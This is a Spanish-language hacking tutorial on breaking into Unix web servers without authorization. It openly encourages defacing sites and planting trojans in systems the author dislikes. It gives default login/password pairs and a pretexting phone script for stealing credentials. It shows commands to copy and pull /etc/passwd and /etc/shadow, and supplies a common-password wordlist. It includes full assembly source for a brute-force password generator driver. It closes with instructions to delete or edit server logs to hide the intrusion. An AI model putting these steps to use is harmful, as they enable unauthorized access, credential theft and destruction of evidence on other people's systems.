Hackeando una web
1.
Introducción
Si
alguna vez has hechado a volar tu imaginación se te habrá
ocurrido que seria cómico remover algunas gráficas de algún
website, o mejor aun borrar toda la pagina de algún enemigo para
deleitarte con tu venganza. Pues bien este es el manual que te ayudara a
lograrlo.
Primero
deberás entender que andar por ahí borrando paginas es
*TONTO* e inmaduro. Lo que trato de hacer es que sientas la adrenalina de
entrar a un sistema al que no estés autorizado y
echar una ojeada alrededor. Si te dedicas a invadir sistemas
y borrar archivos le quitaras el privilegio a otra persona de
entrar a ese sistema ya que el operador se dará cuenta de la intrusión y
aumentaran la seguridad negando así la entrada a más 'intrusos'. Si el sistema
al que entraste pertenece a unos hijos de la chingada (Plantas Nucleares,
Creadores de abrigos de piel, Agencias de Gobierno etc.) olvida lo antes dicho
y haz que se arrepientan de haberse conectado a la red causando kaos o mejor
aun infectándolos con algún buen virus (por que no reemplazar un
ejecutable por un caballo de Troya?). En fin usa tu cabeza y cuida de no ser
sorprendido en tus viajes de kAoS.
2.
Websites
Un
website es solamente una computadora llamada servidor por su capacidad de
realizar diferentes tareas al mismo tiempo
ejecutando un sistema operativo que generalmente será UNIX o
algunas de sus variaciones y con toda la información guardada en algún medio.
2.1
Ganando acceso a un servidor WWW
Aquí
reside la magia del Hacker, la protección común son dos preguntas Login y
Password. El usuario que tenga una cuenta en ese servidor tiene un nombre
de usuario (Login) y contrase¤a (Password)
por lo que la entrada a ese servidor no tiene problemas; pero
para una persona ajena a ese servidor la entrada es un poco más complicada.
Para
poder penetrar el sistema necesitamos saber su URL y una vez conectados
con el explorador prestar atención al mensaje waiting reply from
103.38.28 o algo parecido que haga aparecer una dirección IP en lugar de
el nombre de dominio.
Si
lograste conseguir la dirección IP usa telnet para
conectarte a esa dirección. Si cuando
tratas de conectarte aparece el mensaje 'connection refused'
probablemente este protegida esa dirección con una
FIREWALL. Si este es el caso trata de hacer telnet a el nombre de dominio
con la finalidad de llegar a el frustrante LOGIN/PASSWORD.
Para
entrar necesitas conseguir alguna cuenta haciendo algo de
ingeniería social o intenta con los defaults.
* CUENTAS DEFAULTS DE UNIX *
Login:
Password:
root
root
root
system
sys
sys
sys
system
daemon
daemon
uucp
uucp
tty
tty
test
test
unix
unix
unix
test
bin
bin
adm
adm
adm
admin
admin
adm
admin
admin
sysman
sysman
sysman
sys
sysman
system
sysadmin
sysadmin
sysadmin
sys
sysadmin
system
sysadmin
admin
sysadmin
adm
who
who
learn
learn
uuhost
uuhost
guest
guest
host
host
nuucp
nuucp
rje
rje
games
games
games
player
sysop
sysop
root
sysop
demo
demo
Si
fracasas al intentar el acceso usando cada uno de los anteriores logins,
probablemente tengas que conseguir el password de otra manera como relaciones
humanas; esto significa que vas a tener que conseguir la clave valiéndote de
trucos como hablar por teléfono a una persona que sepas que esta
registrada en ese servidor y pedirle su Login y Password diciendo que necesitas
validar su cuenta o algo parecido. Otra manera de conseguir un Password es
crear un programa que robe las claves de acceso del disco duro de una
persona.
3.
Cuando se esta adentro
Una
vez que hayas logrado entrar a un sistema necesitaras localizar y obtener el
archivo passwd disponible en el directorio /etc.
Para
obtener el archivo PASSWD usa el siguiente ejemplo:
($
simboliza el prompt UNIX)
$ ftp
FTP get /etc/passwd
FTP quit
Para
ver el contenido de el archivo usa el siguiente comando:
$ cat
/etc/passwd
Una
vez que tengas en tu posesión el archivo PASSWD edítalo y fíjate en su
contenido, deberá tener la siguiente información:
usuario:contrase¤a:ID:Grupo:descripcion/nombre:directorio:shell
usuario
- Este es el login de algun usuario.
contrase¤a
- Es el password de el usuario (encriptada con DES)
ID
- Es la identificación de ese usuario.
grupo
- El grupo al que pertenece esta cuenta.
descripcion-
El nombre del usuario.
directorio
- El directorio de acceso de el usuario.
shell
- El shell que procesa los comandos de ese usuario.
Un
ejemplo podría ser:
john:234abc56:9999:13:John
Johnson:/home/dir/john:/bin/john
Nombre
de usuario: john
Password
encriptado: 234abc56
Usuario
numero: 9999
Numero
de grupo: 13
Descripcion:
John Johnson
Directorio
de acceso: /home/dir/john
Shell:
/bin/john
Si
el archivo que conseguiste contiene la misma información pero en el campo del
password tiene un asterisco (*) o cualquier otro carácter, significa que las
contrase¤as se encuentran 'sombreadas'.
Si
las contrase¤as se encuentra sombreada,las podrás encontrar en el
archivo shadow aunque generalmente no se puede tener acceso a ese archivo a
menos de tener root. Una forma de conseguir SHADOW es
usando el comando cp para copiarlo a otro archivo
y después tratar de obtener el archivo al que se copio, ejemplo:
$cp /etc/shadow
/usuarios/carlos/hack.txt
$ftp
FTP get
/usuarios/carlos/hack.txt
FTP quit
$rd
/usuarios/carlos/hack.txt
Ya
tengo los passwords encriptados, ahora que?
Los
passwords están encriptados usando one-way encription, significa que no
se pueden des-encriptar. Lo que Unix hace es obtener
la contrase¤a del usuario,la encripta y la compara con
la que ya esta encriptada, si coinciden entonces se le permite el acceso.
Para
poder obtener las contrase¤as es necesario tener un archivo con
palabras y usar un programa para que encripte las palabras del archivo y
las compare con las contrase¤as encriptadas,si coinciden te avisa
que palabra fue la que coincidió con la contrase¤a encriptada.
Algunos
programas de este tipo son:
Nombre
Palabras por Segundo Computadora
John the
Ripper
5077
586
Starcracker
1300
586
Cracker
Jack
1008
586
KillerCracker
350
586
Para
conseguir listas de palabras haz FTP a el siguiente servidor:
warwick.ac.uk
directorio:
/pub/cud
Algunas de las palabras mas usadas en
contraseñas son:
aaa
academia
ada adrian
aerobics
airplane
albany albatros
albert
alex
alexander algebra
alias
alisa
alpha alphabet
ama
amy
analog anchor
andy
andrea
animal answer
anything
arrow
arthur ass
asshole
athena
atmosphere bacchus
badass
bailey
banana bandit
banks
bass
batman beautiful
beauty
beaver
daniel danny
dave
deb
debbie deborah
december
desire
desperate develop
diet
digital
discovery disney
dog
drought
duncan easy
eatme
edges
edwin egghead
eileen
einstein
elephant elizabeth
ellen
emerald
engine engineer
enterprise
enzyme
euclid evelyn
extension
fairway
felicia fender
finite
format
god hello
idiot
jester
john johnny
joseph
joshua
judith juggle
julia
kathleen
kermit kernel
knight
lambda
larry lazarus
lee
leroy
lewis light
lisa louis
love lynne
mac
macintosh
mack maggot
martin
marty
marvin matt
master
maurice
maximum merlin
mets
michael
michelle mike
minimum
nicki
nicole rascal
really
rebecca
remote rick
reagan
robot
robotics rolex
ronald
rose
rosebud rosemary
roses
ruben
rules ruth
sal
saxon
scheme scott
secret
sensor
serenity sex
shark
sharon
shit shiva
shuttle
simon
simple singer
single
singing
smile smooch
smother
snatch
snoopy soap
socrates
spit
spring subway
success
summer
super support
surfer
suzanne
tangerine tape
target
taylor
telephone temptation
tiger
tigger
toggle tomato
toyota
trivial
unhappy unicorn
unknown
urchin
utility vicki
virginia
warren
water weenie
whatnot
whitney
will virgin
william winston
willie wizard
wonbat
yosemite
zap whatnow
Obtuve
algunas cuentas, ahora?
Para
poder hacer y deshacer en el servidor necesitas el
password de la cuenta root. Si después de intentar con algunas
listas de palabras no puedes necesitaras hacer un ataque en bruto,
es decir empezar desde la letra A hasta la palabra zzzzzzzz
El
siguiente programa necesita ser compilado usando TASM y es una lista de
palabras TSR que no ocupa espacio en disco y puede ser modificada, es
ideal para ataques brutos a la cuenta r00t_ (Programa Copiado de Phrack 47)
P A S S W O R D E N G I N
E (for IBM
PC's)
by Uncle Armpit
+++++++++++++++++++++++++++++++++++++++++++++
Que
tan practico es?
Este
programa no necesita mucho espacio en disco y puede crear listas de palabras de
gran tama¤o.
Con
el ejemplo proporcionado, passwords empezando en 'aaaaaaa' y terminando en
'zzzzzzz' serán generados.
Como
empiezo a usar esta lista de palabras?
Compila
el código y nómbralo "hackdrv.sys", después necesitas configurarlo
añadiendo la siguiente línea en CONFIG.SYS
device=c:\hackdrv.sys
Una
vez en memoria el programa creara la lista de variables en memoria llamada
HACKPWD. Cualquier programa que uses (excepto StarCracker) deberá reconocer
hackpwd como una lista de palabras y empezar a crackear.
Si
deseas reiniciar una sesión desde una combinación especifica solo modifica el
archivo HACKDRV.SYS con un editor HEXADECIMAL y modifica la cadena de caracteres
con los que empieza ;-0
;-----------------------cut
here--------------------------------
;Program HACKDRV.SYS
;
org 0h
next_dev dd -1
attribute dw
0c000h
;character device w/ ioctl calls
strategy dw dev_strategy
interrupt dw dev_int
dev_name db 'HACKPWD '
countr dw offset number
number db
'aaaaaa',0ah ;<---- 6
caracteres en minusculas (empiezo)
numsize equ $-number - 2
afternum:
;working space for device driver
rh_ofs dw ?
rh_seg dw ?
dev_strategy:
;strategy routine
mov cs:rh_seg,es
mov cs:rh_ofs,bx
retf
dev_int:
;interrupt routine
pushf
push ds
push es
push ax
push bx
push cx
push dx
push di
push si
cld
push cs
pop ds
mov bx,cs:rh_seg
mov es,bx
mov bx,cs:rh_ofs
mov al,es:[bx]+2
rol al,1
mov di,offset cmdtab
xor ah,ah
add di,ax
jmp word ptr[di]
cmdtab:
;command table
dw init ;0
dw exit3 ;1
dw exit3 ;2
dw ioctl_read ;3
dw do_read ;4
dw exit3 ;5
dw exit3 ;6
dw exit3 ;7
dw exit3 ;8
dw exit3 ;9
dw exit3 ;10
dw exit3 ;11
dw ioctl_write ;12
dw exit3 ;13
dw 5 dup (offset exit3)
ioctl_read:
push es
push bx
mov
si,es:[bx+10h]
mov
di,es:[bx+0eh]
mov es,si
push cs
pop ds
mov si,offset number
xor cx,cx
get_char:
lodsb
stosb
inc cl
cmp al,0ah
jz ioctl_rend
jmp get_char
ioctl_rend:
pop bx
pop es
mov es:[bx+012h],cx
mov cs:countr,offset number
jmp exit2
ioctl_write:
push es
push bx
mov si,es:[bx+010h]
mov ds,si
mov si,es:[bx+0eh]
mov
cx,numsize+1
;es:[bx+012h]
push cs
pop es
mov di,offset number
repe movsb
pop es
pop bx
mov cs:countr,offset number
jmp exit2
do_read:
push es
push bx
push cs
pop ds
mov si,[countr]
inc
si
;word ptr [countr]
cmp si,offset afternum
jnz is_okay
mov si,offset number
call inc_num
is_okay:
mov [countr],si
mov di,es:[bx]+0eh
mov ax,es:[bx]+010h
mov cx, es:[bx]+012h
jcxz clean_up
mov es,ax
repe movsb
clean_up:
pop bx
pop es
jmp exit2
exit3: mov es:word ptr 3[bx],08103h
jmp exit1
exit2:
mov es:word ptr 3[bx],0100h
exit1:
pop si
pop di
pop dx
pop cx
pop bx
pop ax
pop es
pop ds
popf
retf
exit:
inc_num proc near
push si
mov si,numsize
reiterate:
inc byte ptr [number+si]
cmp byte ptr
[number+si],'z'+1 ;+1 past ending char. in range
jnz _exit
mov byte ptr
[number+si],'a' ;starting char. in range
dec si
cmp si,-1
jnz reiterate
mov byte ptr [number],01ah
;send EOF
_exit:
pop si
ret
inc_num endp
at_eof:
; the non-resident code starts here
initial proc near
push es
push cs
pop ds
push cs
pop es
mov si,offset number
mov di,offset tmpnum
cld
_again:
lodsb
cmp al,0ah
jz _nomorechars
stosb
jmp _again
_nomorechars:
mov si,offset msgend
mov cx,4
repe movsb
mov
ah,09
;print welcome message
mov dx,offset msg1
int 21h
pop es
ret
initial endp
init: call initial
mov ax,offset at_eof
mov es:[bx]+0eh,ax
push cs
pop ax
mov es:[bx]+010h,ax
mov cs:word ptr cmdtab,offset exit3
jmp exit2
msg1 db "Incremental Password
Generator (c)1995",0ah,0dh
db
"Written by Uncle Armpit",0ah,0dh,0ah,0dh
db
"Starting at word ["
tmpnum db 10 dup (?)
msgend db "]",0a,0d,'$'
;END hackdrv.sys
----------------------------------cut
here----------------------------------
Como
limpiar tus huellas
Si
deseas que tu ingreso con la cuenta r00t no quede registrado en los LOGS de el
servidor revisa los directorios buscando archivos como logs,
syslog, log, o cualquiera que parezca que guarda
un reporte de los accesos y bórralos o mejor aun
edítalos usando el editor de archivos de UNIX. Para ejecutar
el editor usa el comando vi
Edita
o borra los siguientes archivos: /etc/syslog
/etc/log
/etc/logs
Existen algunos scripts para borrar
las huellas como ZAP.